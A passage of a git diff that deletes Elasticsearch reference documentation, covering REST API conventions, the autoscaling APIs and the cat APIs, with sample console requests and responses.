-POST /library/book?refresh
-{"title": "Book #1", "rating": 200.1}
-POST /library/book?refresh
-{"title": "Book #2", "rating": 1.7}
-POST /library/book?refresh
-{"title": "Book #3", "rating": 0.1}
-GET /_search?filter_path=hits.hits._source&_source=title&sort=rating:desc
---------------------------------------------------
-
-[source,console-result]
---------------------------------------------------
-{
-  "hits" : {
-    "hits" : [ {
-      "_source":{"title":"Book #1"}
-    }, {
-      "_source":{"title":"Book #2"}
-    }, {
-      "_source":{"title":"Book #3"}
-    } ]
-  }
-}
---------------------------------------------------
-
-
-[discrete]
-==== Flat Settings
-
-The `flat_settings` flag affects rendering of the lists of settings. When the
-`flat_settings` flag is `true`, settings are returned in a flat format:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_settings?flat_settings=true
---------------------------------------------------
-// TEST[setup:my_index]
-
-Returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "my-index-000001" : {
-    "settings": {
-      "index.number_of_replicas": "1",
-      "index.number_of_shards": "1",
-      "index.creation_date": "1474389951325",
-      "index.uuid": "n6gzFZTgS664GUfx0Xrpjw",
-      "index.version.created": ...,
-      "index.routing.allocation.include._tier_preference" : "data_content",
-      "index.provided_name" : "my-index-000001"
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/1474389951325/$body.my-index-000001.settings.index\\\\.creation_date/]
-// TESTRESPONSE[s/n6gzFZTgS664GUfx0Xrpjw/$body.my-index-000001.settings.index\\\\.uuid/]
-// TESTRESPONSE[s/"index.version.created": \.\.\./"index.version.created": $body.my-index-000001.settings.index\\\\.version\\\\.created/]
-
-When the `flat_settings` flag is `false`, settings are returned in a more
-human readable structured format:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_settings?flat_settings=false
---------------------------------------------------
-// TEST[setup:my_index]
-
-Returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "my-index-000001" : {
-    "settings" : {
-      "index" : {
-        "number_of_replicas": "1",
-        "number_of_shards": "1",
-        "creation_date": "1474389951325",
-        "uuid": "n6gzFZTgS664GUfx0Xrpjw",
-        "version": {
-          "created": ...
-        },
-        "routing": {
-          "allocation": {
-            "include": {
-              "_tier_preference": "data_content"
-            }
-          }
-        },
-        "provided_name" : "my-index-000001"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/1474389951325/$body.my-index-000001.settings.index.creation_date/]
-// TESTRESPONSE[s/n6gzFZTgS664GUfx0Xrpjw/$body.my-index-000001.settings.index.uuid/]
-// TESTRESPONSE[s/"created": \.\.\./"created": $body.my-index-000001.settings.index.version.created/]
-
-By default `flat_settings` is set to `false`.
-
-[discrete]
-[[api-conventions-parameters]]
-==== Parameters
-
-Rest parameters (when using HTTP, map to HTTP URL parameters) follow the
-convention of using underscore casing.
-
-[discrete]
-==== Boolean Values
-
-All REST API parameters (both request parameters and JSON body) support
-providing boolean "false" as the value `false` and boolean "true" as the
-value `true`. All other values will raise an error.
-
-[discrete]
-==== Number Values
-
-All REST APIs support providing numbered parameters as `string` on top
-of supporting the native JSON number types.
-
-[[time-units]]
-[discrete]
-==== Time units
-
-Whenever durations need to be specified, e.g. for a `timeout` parameter, the duration must specify
-the unit, like `2d` for 2 days.  The supported units are:
-
-[horizontal]
-`d`::       Days
-`h`::       Hours
-`m`::       Minutes
-`s`::       Seconds
-`ms`::      Milliseconds
-`micros`::  Microseconds
-`nanos`::   Nanoseconds
-
-[[byte-units]]
-[discrete]
-==== Byte size units
-
-Whenever the byte size of data needs to be specified, e.g. when setting a buffer size
-parameter, the value must specify the unit, like `10kb` for 10 kilobytes. Note that
-these units use powers of 1024, so `1kb` means 1024 bytes. The supported units are:
-
-[horizontal]
-`b`::   Bytes
-`kb`::  Kilobytes
-`mb`::  Megabytes
-`gb`::  Gigabytes
-`tb`::  Terabytes
-`pb`::  Petabytes
-
-[[size-units]]
-[discrete]
-==== Unit-less quantities
-
-Unit-less quantities means that they don't have a "unit" like "bytes" or "Hertz" or "meter" or "long tonne".
-
-If one of these quantities is large we'll print it out like 10m for 10,000,000 or 7k for 7,000. We'll still print 87
-when we mean 87 though. These are the supported multipliers:
-
-[horizontal]
-`k`::  Kilo
-`m`::  Mega
-`g`::  Giga
-`t`::  Tera
-`p`::  Peta
-
-[[distance-units]]
-[discrete]
-==== Distance Units
-
-Wherever distances need to be specified, such as the `distance` parameter in
-the <<query-dsl-geo-distance-query>>), the default unit is meters if none is specified.
-Distances can be specified in other units, such as `"1km"` or
-`"2mi"` (2 miles).
-
-The full list of units is listed below:
-
-[horizontal]
-Mile::          `mi` or `miles`
-Yard::          `yd` or `yards`
-Feet::          `ft` or `feet`
-Inch::          `in` or `inch`
-Kilometer::     `km` or `kilometers`
-Meter::         `m` or `meters`
-Centimeter::    `cm` or `centimeters`
-Millimeter::    `mm` or `millimeters`
-Nautical mile:: `NM`, `nmi`, or `nauticalmiles`
-
-[[fuzziness]]
-[discrete]
-==== Fuzziness
-
-Some queries and APIs support parameters to allow inexact _fuzzy_ matching,
-using the `fuzziness` parameter.
-
-When querying `text` or `keyword` fields, `fuzziness` is interpreted as a
-{wikipedia}/Levenshtein_distance[Levenshtein Edit Distance]
--- the number of one character changes that need to be made to one string to
-make it the same as another string.
-
-The `fuzziness` parameter can be specified as:
-
-[horizontal]
-`0`, `1`, `2`::
-
-The maximum allowed Levenshtein Edit Distance (or number of edits)
-
-`AUTO`::
-+
---
-Generates an edit distance based on the length of the term.
-Low and high distance arguments may be optionally provided `AUTO:[low],[high]`. If not specified,
-the default values are 3 and 6, equivalent to `AUTO:3,6` that make for lengths:
-
-`0..2`:: Must match exactly
-`3..5`:: One edit allowed
-`>5`:: Two edits allowed
-
-`AUTO` should generally be the preferred value for `fuzziness`.
---
-
-[discrete]
-[[common-options-error-options]]
-==== Enabling stack traces
-
-By default when a request returns an error Elasticsearch doesn't include the
-stack trace of the error. You can enable that behavior by setting the
-`error_trace` url parameter to `true`. For example, by default when you send an
-invalid `size` parameter to the `_search` API:
-
-[source,console]
-----------------------------------------------------------------------
-POST /my-index-000001/_search?size=surprise_me
-----------------------------------------------------------------------
-// TEST[s/surprise_me/surprise_me&error_trace=false/ catch:bad_request]
-// Since the test system sends error_trace=true by default we have to override
-
-The response looks like:
-
-[source,console-result]
-----------------------------------------------------------------------
-{
-  "error" : {
-    "root_cause" : [
-      {
-        "type" : "illegal_argument_exception",
-        "reason" : "Failed to parse int parameter [size] with value [surprise_me]"
-      }
-    ],
-    "type" : "illegal_argument_exception",
-    "reason" : "Failed to parse int parameter [size] with value [surprise_me]",
-    "caused_by" : {
-      "type" : "number_format_exception",
-      "reason" : "For input string: \"surprise_me\""
-    }
-  },
-  "status" : 400
-}
-----------------------------------------------------------------------
-
-But if you set `error_trace=true`:
-
-[source,console]
-----------------------------------------------------------------------
-POST /my-index-000001/_search?size=surprise_me&error_trace=true
-----------------------------------------------------------------------
-// TEST[catch:bad_request]
-
-The response looks like:
-
-[source,console-result]
-----------------------------------------------------------------------
-{
-  "error": {
-    "root_cause": [
-      {
-        "type": "illegal_argument_exception",
-        "reason": "Failed to parse int parameter [size] with value [surprise_me]",
-        "stack_trace": "Failed to parse int parameter [size] with value [surprise_me]]; nested: IllegalArgumentException..."
-      }
-    ],
-    "type": "illegal_argument_exception",
-    "reason": "Failed to parse int parameter [size] with value [surprise_me]",
-    "stack_trace": "java.lang.IllegalArgumentException: Failed to parse int parameter [size] with value [surprise_me]\n    at org.elasticsearch.rest.RestRequest.paramAsInt(RestRequest.java:175)...",
-    "caused_by": {
-      "type": "number_format_exception",
-      "reason": "For input string: \"surprise_me\"",
-      "stack_trace": "java.lang.NumberFormatException: For input string: \"surprise_me\"\n    at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)..."
-    }
-  },
-  "status": 400
-}
-----------------------------------------------------------------------
-// TESTRESPONSE[s/"stack_trace": "Failed to parse int parameter.+\.\.\."/"stack_trace": $body.error.root_cause.0.stack_trace/]
-// TESTRESPONSE[s/"stack_trace": "java.lang.IllegalArgum.+\.\.\."/"stack_trace": $body.error.stack_trace/]
-// TESTRESPONSE[s/"stack_trace": "java.lang.Number.+\.\.\."/"stack_trace": $body.error.caused_by.stack_trace/]
-
-[discrete]
-==== Request body in query string
-
-For libraries that don't accept a request body for non-POST requests,
-you can pass the request body as the `source` query string parameter
-instead. When using this method, the `source_content_type` parameter
-should also be passed with a media type value that indicates the format
-of the source, such as `application/json`.
-
-[discrete]
-==== Content-Type Requirements
-
-The type of the content sent in a request body must be specified using
-the `Content-Type` header. The value of this header must map to one of
-the supported formats that the API supports. Most APIs support JSON,
-YAML, CBOR, and SMILE. The bulk and multi-search APIs support NDJSON,
-JSON, and SMILE; other types will result in an error response.
-
-Additionally, when using the `source` query string parameter, the
-content type must be specified using the `source_content_type` query
-string parameter.
-
-[[url-access-control]]
-=== URL-based access control
-
-Many users use a proxy with URL-based access control to secure access to
-{es} data streams and indices. For <<search-multi-search,multi-search>>,
-<<docs-multi-get,multi-get>>, and <<docs-bulk,bulk>> requests, the user has
-the choice of specifying a data stream or  index in the URL and on each individual request
-within the request body. This can make URL-based access control challenging.
-
-To prevent the user from overriding the data stream or index specified in the
-URL, set `rest.action.multi.allow_explicit_index` to `false` in `elasticsearch.yml`.
-
-
-This causes  {es} to
-reject requests that explicitly specify a data stream or index in the request body.
diff --git a/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc b/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc
deleted file mode 100644
index d8f97a00771..00000000000
--- a/docs/reference/autoscaling/apis/autoscaling-apis.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[autoscaling-apis]]
-== Autoscaling APIs
-
-You can use the following APIs to perform autoscaling operations.
-
-[discrete]
-[[autoscaling-api-top-level]]
-=== Top-Level
-
-* <<autoscaling-get-autoscaling-decision,Get autoscaling decision>>
-* <<autoscaling-delete-autoscaling-policy,Delete autoscaling policy>>
-* <<autoscaling-get-autoscaling-policy,Get autoscaling policy>>
-* <<autoscaling-put-autoscaling-policy,Put autoscaling policy>>
-
-// top-level
-include::get-autoscaling-decision.asciidoc[]
-include::delete-autoscaling-policy.asciidoc[]
-include::get-autoscaling-policy.asciidoc[]
-include::put-autoscaling-policy.asciidoc[]
diff --git a/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc b/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc
deleted file mode 100644
index 8708e9799a7..00000000000
--- a/docs/reference/autoscaling/apis/delete-autoscaling-policy.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[autoscaling-delete-autoscaling-policy]]
-=== Delete autoscaling policy API
-++++
-<titleabbrev>Delete autoscaling policy</titleabbrev>
-++++
-
-Delete autoscaling policy.
-
-[[autoscaling-delete-autoscaling-policy-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-PUT /_autoscaling/policy/my_autoscaling_policy
-{
-  "policy": {
-    "deciders": {
-      "fixed": {
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE /_autoscaling/policy/<name>
---------------------------------------------------
-// TEST[s/<name>/my_autoscaling_policy/]
-
-[[autoscaling-delete-autoscaling-policy-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have
-`manage_autoscaling` cluster privileges. For more information, see
-<<security-privileges>>.
-
-[[autoscaling-delete-autoscaling-policy-desc]]
-==== {api-description-title}
-
-This API deletes an autoscaling policy with the provided name.
-
-[[autoscaling-delete-autoscaling-policy-examples]]
-==== {api-examples-title}
-
-This example deletes an autoscaling policy named `my_autosaling_policy`.
-
-[source,console]
---------------------------------------------------
-DELETE /_autoscaling/policy/my_autoscaling_policy
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
diff --git a/docs/reference/autoscaling/apis/get-autoscaling-decision.asciidoc b/docs/reference/autoscaling/apis/get-autoscaling-decision.asciidoc
deleted file mode 100644
index dfa14ac1806..00000000000
--- a/docs/reference/autoscaling/apis/get-autoscaling-decision.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[autoscaling-get-autoscaling-decision]]
-=== Get autoscaling decision API
-++++
-<titleabbrev>Get autoscaling decision</titleabbrev>
-++++
-
-Get autoscaling decision.
-
-[[autoscaling-get-autoscaling-decision-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-GET /_autoscaling/decision/
---------------------------------------------------
-// TEST
-
-[[autoscaling-get-autoscaling-decision-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have
-`manage_autoscaling` cluster privileges. For more information, see
-<<security-privileges>>.
-
-[[autoscaling-get-autoscaling-decision-desc]]
-==== {api-description-title}
-
-This API gets the current autoscaling decision based on the configured
-autoscaling policy. This API will return whether or not autoscaling is
-needed.
-
-[[autoscaling-get-autoscaling-decision-examples]]
-==== {api-examples-title}
-
-This example retrieves the current autoscaling decision.
-
-[source,console]
---------------------------------------------------
-GET /_autoscaling/decision
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  decisions: []
-}
---------------------------------------------------
diff --git a/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc b/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc
deleted file mode 100644
index 35db9d3a7fe..00000000000
--- a/docs/reference/autoscaling/apis/get-autoscaling-policy.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[autoscaling-get-autoscaling-policy]]
-=== Get autoscaling policy API
-++++
-<titleabbrev>Get autoscaling policy</titleabbrev>
-++++
-
-Get autoscaling policy.
-
-[[autoscaling-get-autoscaling-policy-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-PUT /_autoscaling/policy/my_autoscaling_policy
-{
-  "policy": {
-    "deciders": {
-      "fixed": {
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_autoscaling/policy/my_autoscaling_policy
---------------------------------------------------
-// TEST
-// TEARDOWN
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /_autoscaling/policy/<name>
---------------------------------------------------
-// TEST[s/<name>/my_autoscaling_policy/]
-
-[[autoscaling-get-autoscaling-policy-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have
-`manage_autoscaling` cluster privileges. For more information, see
-<<security-privileges>>.
-
-[[autoscaling-get-autoscaling-policy-desc]]
-==== {api-description-title}
-
-This API gets an autoscaling policy with the provided name.
-
-[[autoscaling-get-autoscaling-policy-examples]]
-==== {api-examples-title}
-
-This example gets an autoscaling policy named `my_autosaling_policy`.
-
-[source,console]
---------------------------------------------------
-GET /_autoscaling/policy/my_autoscaling_policy
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "policy": {
-     "deciders": <deciders>
-  }
-}
---------------------------------------------------
-// TEST[s/<deciders>/$body.policy.deciders/]
diff --git a/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc b/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc
deleted file mode 100644
index 3c831ebbbab..00000000000
--- a/docs/reference/autoscaling/apis/put-autoscaling-policy.asciidoc
+++ /dev/null
@@ -1,87 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[autoscaling-put-autoscaling-policy]]
-=== Put autoscaling policy API
-++++
-<titleabbrev>Put autoscaling policy</titleabbrev>
-++++
-
-Put autoscaling policy.
-
-[[autoscaling-put-autoscaling-policy-request]]
-==== {api-request-title}
-
-[source,console]
---------------------------------------------------
-PUT /_autoscaling/policy/<name>
-{
-  "policy": {
-    "deciders": {
-      "fixed": {
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/<name>/name/]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_autoscaling/policy/name
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[[autoscaling-put-autoscaling-policy-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have
-`manage_autoscaling` cluster privileges. For more information, see
-<<security-privileges>>.
-
-[[autoscaling-put-autoscaling-policy-desc]]
-==== {api-description-title}
-
-This API puts an autoscaling policy with the provided name.
-
-[[autoscaling-put-autoscaling-policy-examples]]
-==== {api-examples-title}
-
-This example puts an autoscaling policy named `my_autoscaling_policy` using the
-always autoscaling decider.
-
-[source,console]
---------------------------------------------------
-PUT /_autoscaling/policy/my_autoscaling_policy
-{
-  "policy": {
-    "deciders": {
-      "fixed": {
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged": true
-}
---------------------------------------------------
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_autoscaling/policy/my_autoscaling_policy
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
diff --git a/docs/reference/autoscaling/index.asciidoc b/docs/reference/autoscaling/index.asciidoc
deleted file mode 100644
index f8f1f98c042..00000000000
--- a/docs/reference/autoscaling/index.asciidoc
+++ /dev/null
@@ -1,19 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[xpack-autoscaling]]
-[chapter]
-= Autoscaling
-
-experimental[]
-
-The autoscaling feature enables an operator to configure tiers of nodes that
-self-monitor whether or not they need to scale based on an operator-defined
-policy. Then, via the autoscaling API, an Elasticsearch cluster can report
-whether or not it needs additional resources to meet the policy. For example, an
-operator could define a policy that a warm tier should scale on available disk
-space. Elasticsearch would monitor and forecast the available disk space in the
-warm tier, and if the forecast is such that the cluster will soon not be able to
-allocate existing and future shard copies due to disk space, then the
-autoscaling API would report that the cluster needs to scale due to disk space.
-It remains the responsibility of the operator to add the additional resources
-that the cluster signals it requires.
diff --git a/docs/reference/cat.asciidoc b/docs/reference/cat.asciidoc
deleted file mode 100644
index 8676c7cf502..00000000000
--- a/docs/reference/cat.asciidoc
+++ /dev/null
@@ -1,273 +0,0 @@
-[[cat]]
-== Compact and aligned text (CAT) APIs
-
-["float",id="intro"]
-=== Introduction
-
-JSON is great... for computers. Even if it's pretty-printed, trying
-to find relationships in the data is tedious. Human eyes, especially
-when looking at a terminal, need compact and aligned text. The compact and
-aligned text (CAT) APIs aim to meet this need.
-
-[IMPORTANT]
-====
-cat APIs are only intended for human consumption using the
-{kibana-ref}/console-kibana.html[Kibana console] or command line. They are _not_
-intended for use by applications. For application consumption, we recommend
-using a corresponding JSON API.
-====
-
-All the cat commands accept a query string parameter `help` to see all
-the headers and info they provide, and the `/_cat` command alone lists all
-the available commands.
-
-[discrete]
-[[common-parameters]]
-=== Common parameters
-
-[discrete]
-[[verbose]]
-==== Verbose
-
-Each of the commands accepts a query string parameter `v` to turn on
-verbose output. For example:
-
-[source,console]
---------------------------------------------------
-GET /_cat/master?v=true
---------------------------------------------------
-
-Might respond with:
-
-[source,txt]
---------------------------------------------------
-id                     host      ip        node
-u_n93zwxThWHi1PDBJAGAg 127.0.0.1 127.0.0.1 u_n93zw
---------------------------------------------------
-// TESTRESPONSE[s/u_n93zw(xThWHi1PDBJAGAg)?/.+/ non_json]
-
-[discrete]
-[[help]]
-==== Help
-
-Each of the commands accepts a query string parameter `help` which will
-output its available columns. For example:
-
-[source,console]
---------------------------------------------------
-GET /_cat/master?help
---------------------------------------------------
-
-Might respond with:
-
-[source,txt]
---------------------------------------------------
-id   |   | node id
-host | h | host name
-ip   |   | ip address
-node | n | node name
---------------------------------------------------
-// TESTRESPONSE[s/[|]/[|]/ non_json]
-
-NOTE: `help` is not supported if any optional url parameter is used.
-For example `GET _cat/shards/my-index-000001?help` or `GET _cat/indices/my-index-*?help`
-results in an error. Use `GET _cat/shards?help` or `GET _cat/indices?help`
-instead.
-
-[discrete]
-[[headers]]
-==== Headers
-
-Each of the commands accepts a query string parameter `h` which forces
-only those columns to appear. For example:
-
-[source,console]
---------------------------------------------------
-GET /_cat/nodes?h=ip,port,heapPercent,name
---------------------------------------------------
-
-Responds with:
-
-[source,txt]
---------------------------------------------------
-127.0.0.1 9300 27 sLBaIGK
---------------------------------------------------
-// TESTRESPONSE[s/9300 27 sLBaIGK/\\d+ \\d+ .+/ non_json]
-
-You can also request multiple columns using simple wildcards like
-`/_cat/thread_pool?h=ip,queue*` to get all headers (or aliases) starting
-with `queue`.
-
-[discrete]
-[[numeric-formats]]
-==== Numeric formats
-
-Many commands provide a few types of numeric output, either a byte, size
-or a time value.  By default, these types are human-formatted,
-for example, `3.5mb` instead of `3763212`.  The human values are not
-sortable numerically, so in order to operate on these values where
-order is important, you can change it.
-
-Say you want to find the largest index in your cluster (storage used
-by all the shards, not number of documents).  The `/_cat/indices` API
-is ideal.  You only need to add three things to the API request:
-
-. The `bytes` query string parameter with a value of `b` to get byte-level resolution.
-. The `s` (sort) parameter with a value of `store.size:desc` to sort the output
-by shard storage in descending order.
-. The `v` (verbose) parameter to include column headings in the response.
-
-[source,console]
---------------------------------------------------
-GET /_cat/indices?bytes=b&s=store.size:desc&v=true
---------------------------------------------------
-// TEST[setup:my_index_huge]
-// TEST[s/^/PUT my-index-000002\n{"settings": {"number_of_replicas": 0}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-health status index            uuid                   pri rep docs.count docs.deleted store.size pri.store.size
-yellow open   my-index-000001  u8FNjxh8Rfy_awN11oDKYQ   1   1       1200            0      72171         72171
-green  open   my-index-000002  nYFWZEO7TUiOjLQXBaYJpA   1   0          0            0        230          230
---------------------------------------------------
-// TESTRESPONSE[s/72171|230/\\d+/]
-// TESTRESPONSE[s/u8FNjxh8Rfy_awN11oDKYQ|nYFWZEO7TUiOjLQXBaYJpA/.+/ non_json]
-// TESTRESPONSE[skip:"AwaitsFix https://github.com/elastic/elasticsearch/issues/51619"]
-
-If you want to change the <<time-units,time units>>, use `time` parameter.
-
-If you want to change the <<size-units,size units>>, use `size` parameter.
-
-If you want to change the <<byte-units,byte units>>, use `bytes` parameter.
-
-[discrete]
-==== Response as text, json, smile, yaml or cbor
-
-[source,sh]
---------------------------------------------------
-% curl 'localhost:9200/_cat/indices?format=json&pretty'
-[
-  {
-    "pri.store.size": "650b",
-    "health": "yellow",
-    "status": "open",
-    "index": "my-index-000001",
-    "pri": "5",
-    "rep": "1",
-    "docs.count": "0",
-    "docs.deleted": "0",
-    "store.size": "650b"
-  }
-]
---------------------------------------------------
-// NOTCONSOLE
-
-Currently supported formats (for the `?format=` parameter):
-- text (default)
-- json
-- smile
-- yaml
-- cbor
-
-Alternatively you can set the "Accept" HTTP header to the appropriate media format.
-All formats above are supported, the GET parameter takes precedence over the header.
-For example:
-
-[source,sh]
---------------------------------------------------
-% curl '192.168.56.10:9200/_cat/indices?pretty' -H "Accept: application/json"
-[
-  {
-    "pri.store.size": "650b",
-    "health": "yellow",
-    "status": "open",
-    "index": "my-index-000001",
-    "pri": "5",
-    "rep": "1",
-    "docs.count": "0",
-    "docs.deleted": "0",
-    "store.size": "650b"
-  }
-]
---------------------------------------------------
-// NOTCONSOLE
-
-[discrete]
-[[sort]]
-==== Sort
-
-Each of the commands accepts a query string parameter `s` which sorts the table by
-the columns specified as the parameter value. Columns are specified either by name or by
-alias, and are provided as a comma separated string. By default, sorting is done in
-ascending fashion. Appending `:desc` to a column will invert the ordering for
-that column. `:asc` is also accepted but exhibits the same behavior as the default sort order.
-
-For example, with a sort string `s=column1,column2:desc,column3`, the table will be
-sorted in ascending order by column1, in descending order by column2, and in ascending
-order by column3.
-
-[source,sh]
---------------------------------------------------
-GET _cat/templates?v=true&s=order:desc,index_patterns
---------------------------------------------------
-//CONSOLE
-
-returns:
-
-[source,txt]
---------------------------------------------------
-name                  index_patterns order version
-pizza_pepperoni       [*pepperoni*]  2
-sushi_california_roll [*avocado*]    1     1
-pizza_hawaiian        [*pineapples*] 1
---------------------------------------------------
-
-include::cat/alias.asciidoc[]
-
-include::cat/allocation.asciidoc[]
-
-include::cat/anomaly-detectors.asciidoc[]
-
-include::cat/count.asciidoc[]
-
-include::cat/dataframeanalytics.asciidoc[]
-
-include::cat/datafeeds.asciidoc[]
-
-include::cat/fielddata.asciidoc[]
-
-include::cat/health.asciidoc[]
-
-include::cat/indices.asciidoc[]
-
-include::cat/master.asciidoc[]
-
-include::cat/nodeattrs.asciidoc[]
-
-include::cat/nodes.asciidoc[]
-
-include::cat/pending_tasks.asciidoc[]
-
-include::cat/plugins.asciidoc[]
-
-include::cat/recovery.asciidoc[]
-
-include::cat/repositories.asciidoc[]
-
-include::cat/segments.asciidoc[]
-
-include::cat/shards.asciidoc[]
-
-include::cat/snapshots.asciidoc[]
-
-include::cat/tasks.asciidoc[]
-
-include::cat/templates.asciidoc[]
-
-include::cat/thread_pool.asciidoc[]
-
-include::cat/trainedmodel.asciidoc[]
-
-include::cat/transforms.asciidoc[]
diff --git a/docs/reference/cat/alias.asciidoc b/docs/reference/cat/alias.asciidoc
deleted file mode 100644
index b9aaaa6eb38..00000000000
--- a/docs/reference/cat/alias.asciidoc
+++ /dev/null
@@ -1,104 +0,0 @@
-[[cat-alias]]
-=== cat aliases API
-++++
-<titleabbrev>cat aliases</titleabbrev>
-++++
-
-Returns information about currently configured aliases to indices, including
-filter and routing information.
-
-
-[[cat-alias-api-request]]
-==== {api-request-title}
-
-`GET /_cat/aliases/<alias>`
-
-`GET /_cat/aliases`
-
-[[cat-alias-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the
-`view_index_metadata` or `manage` <<privileges-list-indices,index privilege>>
-for any alias you retrieve.
-
-[[cat-alias-api-path-params]]
-==== {api-path-parms-title}
-
-`<alias>`::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias]
-
-
-[[cat-alias-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-
-
-[[cat-alias-api-example]]
-==== {api-examples-title}
-
-////
-Hidden setup for example:
-[source,console]
---------------------------------------------------
-PUT test1
-{
-  "aliases": {
-    "alias1": {},
-    "alias2": {
-      "filter": {
-        "match": {
-          "user.id": "kimchy"
-        }
-      }
-    },
-    "alias3": {
-      "routing": "1"
-    },
-    "alias4": {
-      "index_routing": "2",
-      "search_routing": "1,2"
-    }
-  }
-}
---------------------------------------------------
-////
-
-[source,console]
---------------------------------------------------
-GET /_cat/aliases?v=true
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-alias  index filter routing.index routing.search is_write_index
-alias1 test1 -      -            -              -
-alias2 test1 *      -            -              -
-alias3 test1 -      1            1              -
-alias4 test1 -      2            1,2            -
---------------------------------------------------
-// TESTRESPONSE[s/[*]/[*]/ non_json]
-
-This response shows that `alias2` has configured a filter, and specific routing
-configurations in `alias3` and `alias4`.
-
-If you only want to get information about specific aliases, you can specify 
-the aliases in comma-delimited format as a URL parameter, e.g., 
-/_cat/aliases/alias1,alias2.
diff --git a/docs/reference/cat/allocation.asciidoc b/docs/reference/cat/allocation.asciidoc
deleted file mode 100644
index 8f9e9ac8c62..00000000000
--- a/docs/reference/cat/allocation.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[[cat-allocation]]
-=== cat allocation API
-++++
-<titleabbrev>cat allocation</titleabbrev>
-++++
-
-
-Provides a snapshot of the number of shards allocated to each data node
-and their disk space.
-
-
-[[cat-allocation-api-request]]
-==== {api-request-title}
-
-`GET /_cat/allocation/<node_id>`
-
-`GET /_cat/allocation`
-
-[[cat-allocation-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-allocation-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=node-id]
-
-[[cat-allocation-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-[[cat-allocation-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/allocation?v=true
---------------------------------------------------
-// TEST[s/^/PUT test\n{"settings": {"number_of_replicas": 0}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
